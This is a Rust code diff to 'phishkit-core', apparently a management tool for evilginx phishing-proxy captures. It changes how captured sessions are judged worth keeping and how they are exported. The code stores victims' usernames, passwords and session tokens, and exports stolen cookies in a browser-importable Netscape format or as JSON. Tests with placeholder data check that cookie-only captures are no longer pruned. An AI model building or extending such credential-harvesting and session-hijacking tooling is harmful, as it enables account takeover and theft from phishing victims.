diff --git a/crates/phishkit-core/src/db.rs b/crates/phishkit-core/src/db.rs index f35ba12..2b33ade 100644 --- a/crates/phishkit-core/src/db.rs +++ b/crates/phishkit-core/src/db.rs @@ -1016,6 +1016,32 @@ pub fn ignore_and_delete_capture(profile_id: &str, evilginx_session_id: i64) -> }) } +/// True when a captured session carries anything worth keeping: any of the three +/// evilginx token maps (`tokens`, `body_tokens`, `http_tokens`), a non-empty +/// `custom` map, or a username/password. This is the single source of truth for +/// the "does this capture have material" judgment so prune and export cannot +/// drift apart (see issue #17, where prune only looked at `body_tokens`). +pub(crate) fn capture_has_material(data: &Value) -> bool { + let obj_nonempty = |key: &str| { + data.get(key) + .and_then(|v| v.as_object()) + .map(|m| !m.is_empty()) + .unwrap_or(false) + }; + let str_nonempty = |key: &str| { + data.get(key) + .and_then(|v| v.as_str()) + .map(|s| !s.trim().is_empty()) + .unwrap_or(false) + }; + obj_nonempty("tokens") + || obj_nonempty("body_tokens") + || obj_nonempty("http_tokens") + || obj_nonempty("custom") + || str_nonempty("username") + || str_nonempty("password") +} + pub fn prune_empty_captures(profile_id: &str) -> AppResult { with_db(|conn| { let mut stmt = conn.prepare( @@ -1031,22 +1057,10 @@ pub fn prune_empty_captures(profile_id: &str) -> AppResult { let now = now_iso(); for (_id, sid, data_s) in rows { let data: Value = serde_json::from_str(&data_s).unwrap_or(Value::Null); - let user = data - .get("username") - .and_then(|v| v.as_str()) - .unwrap_or("") - .trim(); - let pass = data - .get("password") - .and_then(|v| v.as_str()) - .unwrap_or("") - .trim(); - let custom = data.get("custom").and_then(|v| v.as_object()); - let tokens = data.get("body_tokens").and_then(|v| v.as_object()); - let empty = user.is_empty() - && pass.is_empty() - && custom.map(|c| c.is_empty()).unwrap_or(true) - && tokens.map(|t| t.is_empty()).unwrap_or(true); + // Prune only when the capture has no material in ANY token map or + // credential field. Previously this looked at `body_tokens` alone, + // so cookie-only captures (material in `tokens`) were wrongly pruned. + let empty = !capture_has_material(&data); if empty { conn.execute( "INSERT OR REPLACE INTO ignored_sessions(profile_id, evilginx_session_id, ignored_at) diff --git a/crates/phishkit-core/src/sessions.rs b/crates/phishkit-core/src/sessions.rs index ae32d39..afe42e0 100644 --- a/crates/phishkit-core/src/sessions.rs +++ b/crates/phishkit-core/src/sessions.rs @@ -130,7 +130,16 @@ pub fn prune_captures(profile_id: String) -> AppResult { Ok(json!({"pruned": n})) } -/// Export evilginx `tokens` map as Netscape cookies.txt or JSON. +/// Export captured evilginx tokens. Reads all three evilginx token maps +/// (`tokens` = cookie tokens, `body_tokens`, `http_tokens`) rather than only +/// `tokens`, so material captured in any map is surfaced (issue #17). +/// +/// JSON output shape (changed in #17): `{ "cookies": , "body_tokens": +/// , "http_tokens": }`. The old shape returned the +/// bare `tokens` object; consumers that read it directly should now read +/// `.cookies`. Netscape output still emits browser-importable cookie lines from +/// `tokens`; when `tokens` is empty but body/http tokens exist, a comment note +/// is emitted so the operator knows material lives in another map. pub fn export_capture_cookies( profile_id: String, evilginx_session_id: i64, @@ -142,15 +151,23 @@ pub fn export_capture_cookies( .find(|c| c.evilginx_session_id == evilginx_session_id) .ok_or_else(|| AppError::msg("capture not found"))?; let tokens = row.data.get("tokens").cloned().unwrap_or(json!({})); + let body_tokens = row.data.get("body_tokens").cloned().unwrap_or(json!({})); + let http_tokens = row.data.get("http_tokens").cloned().unwrap_or(json!({})); let fmt = format.trim().to_ascii_lowercase(); if fmt == "json" || fmt.is_empty() { - return Ok(serde_json::to_string_pretty(&tokens)?); + let out = json!({ + "cookies": tokens, + "body_tokens": body_tokens, + "http_tokens": http_tokens, + }); + return Ok(serde_json::to_string_pretty(&out)?); } if fmt != "netscape" { return Err(AppError::msg("format must be json or netscape")); } // tokens: { "domain.com": { "name": { "value": "...", "path": "/", ... }, ... }, ... } let mut out = String::from("# Netscape HTTP Cookie File\n# Generated by phishkit\n"); + let mut emitted = 0usize; if let Some(domains) = tokens.as_object() { for (domain, cookies) in domains { let host = domain.trim_start_matches('.'); @@ -203,9 +220,150 @@ pub fn export_capture_cookies( name, value )); + emitted += 1; } } } } + // Netscape format can only carry browser cookies. If there were no cookie + // tokens but body/http tokens hold captured material, say so plainly instead + // of handing back a bare header that looks like an empty capture. + if emitted == 0 { + let body_has = body_tokens + .as_object() + .map(|m| !m.is_empty()) + .unwrap_or(false); + let http_has = http_tokens + .as_object() + .map(|m| !m.is_empty()) + .unwrap_or(false); + if body_has || http_has { + let mut which = Vec::new(); + if body_has { + which.push("body_tokens"); + } + if http_has { + which.push("http_tokens"); + } + out.push_str(&format!( + "# No cookie tokens in this capture, but material was captured in: {}.\n\ + # These cannot be expressed as Netscape cookies. Export with --format json to see them.\n", + which.join(", ") + )); + } + } Ok(out) } + +#[cfg(test)] +mod export_tests { + use super::*; + use crate::db; + use serde_json::json; + + fn with_isolated_data(f: F) { + let _g = crate::test_lock::env_guard(); + let tmp = tempfile::tempdir().unwrap(); + let data = tmp.path().join("data"); + fs::create_dir_all(&data).unwrap(); + std::env::set_var("PHISHKIT_DATA", &data); + std::env::set_var("PHISHKIT_CONFIG", tmp.path().join("config")); + f(); + std::env::remove_var("PHISHKIT_DATA"); + std::env::remove_var("PHISHKIT_CONFIG"); + } + + fn mk_profile(name: &str) -> String { + let p = + db::upsert_profile(serde_json::from_value(json!({ "name": name })).unwrap()).unwrap(); + p.id + } + + fn insert(profile: &str, sid: i64, data: Value) { + db::upsert_capture(profile, sid, &data, Some(1), Some(1)).unwrap(); + } + + // (a) A capture whose only material is in body_tokens/http_tokens is surfaced, + // not reported as empty. + #[test] + fn body_http_only_capture_exports_non_empty() { + with_isolated_data(|| { + let profile = &mk_profile("bodyonly"); + insert( + profile, + 101, + json!({ + "id": 101, + "tokens": {}, + "body_tokens": { "login.example.com": { "csrf": "abc123" } }, + "http_tokens": {} + }), + ); + + let out = export_capture_cookies(profile.clone(), 101, "json".into()).unwrap(); + let v: Value = serde_json::from_str(&out).unwrap(); + assert_eq!(v["body_tokens"]["login.example.com"]["csrf"], "abc123"); + + let net = export_capture_cookies(profile.clone(), 101, "netscape".into()).unwrap(); + assert!( + net.contains("body_tokens"), + "netscape note should name the non-empty map, got:\n{net}" + ); + assert!(net.contains("--format json")); + }); + } + + // (b) A cookie-only capture (material only in `tokens`) must NOT be pruned. + #[test] + fn cookie_only_capture_is_not_pruned() { + with_isolated_data(|| { + let profile = &mk_profile("cookieonly"); + insert( + profile, + 202, + json!({ + "id": 202, + "tokens": { ".example.com": { "sid": { "Value": "tok", "Path": "/" } } }, + "body_tokens": {}, + "http_tokens": {} + }), + ); + insert( + profile, + 203, + json!({ "id": 203, "tokens": {}, "body_tokens": {}, "http_tokens": {} }), + ); + + let pruned = db::prune_empty_captures(profile).unwrap(); + assert_eq!(pruned, 1, "only the empty capture should be pruned"); + + let remaining = db::list_captures(profile).unwrap(); + assert_eq!(remaining.len(), 1); + assert_eq!(remaining[0].evilginx_session_id, 202); + }); + } + + // (c) JSON export shape includes all three maps. + #[test] + fn export_json_shape_includes_all_three_maps() { + with_isolated_data(|| { + let profile = &mk_profile("shape"); + insert( + profile, + 303, + json!({ + "id": 303, + "tokens": { ".example.com": { "sid": { "Value": "t" } } }, + "body_tokens": { "a": 1 }, + "http_tokens": { "b": 2 } + }), + ); + let out = export_capture_cookies(profile.clone(), 303, "json".into()).unwrap(); + let v: Value = serde_json::from_str(&out).unwrap(); + assert!(v.get("cookies").is_some(), "must have cookies key"); + assert!(v.get("body_tokens").is_some(), "must have body_tokens key"); + assert!(v.get("http_tokens").is_some(), "must have http_tokens key"); + assert_eq!(v["cookies"][".example.com"]["sid"]["Value"], "t"); + }); + } +}